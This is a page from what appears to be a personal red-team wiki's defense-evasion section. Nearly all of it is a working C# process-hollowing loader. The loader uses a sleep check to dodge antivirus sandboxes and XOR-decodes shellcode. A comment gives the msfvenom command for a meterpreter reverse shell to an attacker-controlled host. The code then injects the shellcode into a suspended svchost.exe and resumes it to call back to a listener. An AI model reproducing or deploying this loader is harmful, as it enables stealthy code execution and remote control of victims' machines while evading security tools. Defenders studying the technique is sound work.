AJ-Labz
  • whoami
  • The Lab
    • Building the Lab
      • Physical Hardware
      • ESXi
        • Install ESXi without a keyboard
      • vCenter Server Installation
      • Configure vCenter Datacenter
      • Virtual Networking
      • Install Virtual Machine
      • Install Virtual Firewall
      • Increasing VM Harddrive size
    • Building the Windows Domain
    • Building a Local DNS Server
    • Installing Apache Guacamole
    • Installing WireGuard VPN
    • Industrial Control Systems (ICS)
  • Defensive Cyberz
  • Analytic Repo
    • Beacon Detection
  • Creating an SIEM
    • Installing Security Onion (SO)
    • Splunk
    • Getting the Windows Data You Need
  • Zeek || Bro
    • Bro/Zeek Script
    • Installing Protocol Analyzers
  • Offensive Cyberz
    • Cobalt Strike Red Team Cheat Sheet
    • Defense Evasion
      • Evading Defender with CobaltStrike
      • Disable AV
      • AMSI Bypass
      • Evade Heuristic Behaviors
        • Process Injection
        • Process Hollowing
        • Reflection
        • AppLocker Bypass
        • Powershell CLM Bypass
      • Linux Shellcode Encoders
    • AD Enumeration
      • AD Tools
      • PowerView
      • BloodHound
      • DAFT Commands
      • Enumeration Commands
    • AD Attack
      • Prompt for Credentials
      • LAPS Reader
      • Abusing ACLs
    • Command and Control
      • Covenant Framework
      • Simple HTTPS Server
    • Linux
      • Shells
      • Impacket
      • SSH
      • Kerberos Cache File
      • Ansible
      • Privilege Escalation
    • Phishing
      • LNK Script
    • Wireless Attacks
    • Create a Trojan
  • Cyber Readingz
    • Recommended Readings
Powered by GitBook
On this page

Was this helpful?

  1. Offensive Cyberz
  2. Defense Evasion
  3. Evade Heuristic Behaviors

Process Hollowing

using System;

using System.Runtime.InteropServices;



namespace Hollow

{

    public class Program

    {

        public const uint CREATE_SUSPENDED = 0x4;

        public const int PROCESSBASICINFORMATION = 0;



        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]

        public struct ProcessInfo

        {

            public IntPtr hProcess;

            public IntPtr hThread;

            public Int32 ProcessId;

            public Int32 ThreadId;

        }



        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]

        public struct StartupInfo

        {

            public uint cb;

            public string lpReserved;

            public string lpDesktop;

            public string lpTitle;

            public uint dwX;

            public uint dwY;

            public uint dwXSize;

            public uint dwYSize;

            public uint dwXCountChars;

            public uint dwYCountChars;

            public uint dwFillAttribute;

            public uint dwFlags;

            public short wShowWindow;

            public short cbReserved2;

            public IntPtr lpReserved2;

            public IntPtr hStdInput;

            public IntPtr hStdOutput;

            public IntPtr hStdError;

        }



        [StructLayout(LayoutKind.Sequential)]

        internal struct ProcessBasicInfo

        {

            public IntPtr Reserved1;

            public IntPtr PebAddress;

            public IntPtr Reserved2;

            public IntPtr Reserved3;

            public IntPtr UniquePid;

            public IntPtr MoreReserved;

        }



        [DllImport("kernel32.dll")]

        static extern void Sleep(uint dwMilliseconds);



        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]

        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,

            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,

            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);



        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]

        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,

            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);



        [DllImport("kernel32.dll", SetLastError = true)]

        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,

            int dwSize, out IntPtr lpNumberOfbytesRW);



        [DllImport("kernel32.dll", SetLastError = true)]

        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);



        [DllImport("kernel32.dll", SetLastError = true)]

        static extern uint ResumeThread(IntPtr hThread);



        public static void Main(string[] args)

        {

            // AV evasion: Sleep for 10s and detect if time really passed

            DateTime t1 = DateTime.Now;

            Sleep(10000);

            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;

            if (deltaT < 9.5)

            {

                return;

            }



            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.X.Y LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key J

            // XORed with key J

            byte[] buf = new byte[803] {PAYLOAD};



            // Decode the payload

            for (int j = 0; j < buf.Length; j++)

            {

                buf[j] = (byte)((uint)buf[j] ^ 0x4a);

            }





            // Start 'svchost.exe' in a suspended state

            StartupInfo sInfo = new StartupInfo();

            ProcessInfo pInfo = new ProcessInfo();

            bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,

                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);

            Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");



            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)

            ProcessBasicInfo pbInfo = new ProcessBasicInfo();

            uint retLen = new uint();

            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);

            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);

            Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");



            // Get entry point of the actual process executable

            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))

            // From the PEB (address we got in last call), we have to do the following:

            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing

            // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header

            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset

            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address

            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!



            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing

            byte[] procAddr = new byte[0x8];

            byte[] dataBuf = new byte[0x200];

            IntPtr bytesRW = new IntPtr();

            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);

            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);

            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);

            Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");



            // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header

            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);

            Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");



            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset

            uint rvaOffset = e_lfanew + 0x28;

            Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");



            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address

            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);

            Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");



            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!

            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);

            Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");



            Console.WriteLine("XOR-decoded payload.");

            // Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable

            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);

            Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");



            // Resume the thread to trigger our payload

            uint rResult = ResumeThread(pInfo.hThread);

            Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");

        }

    }

}
PreviousProcess InjectionNextReflection

Last updated 3 years ago

Was this helpful?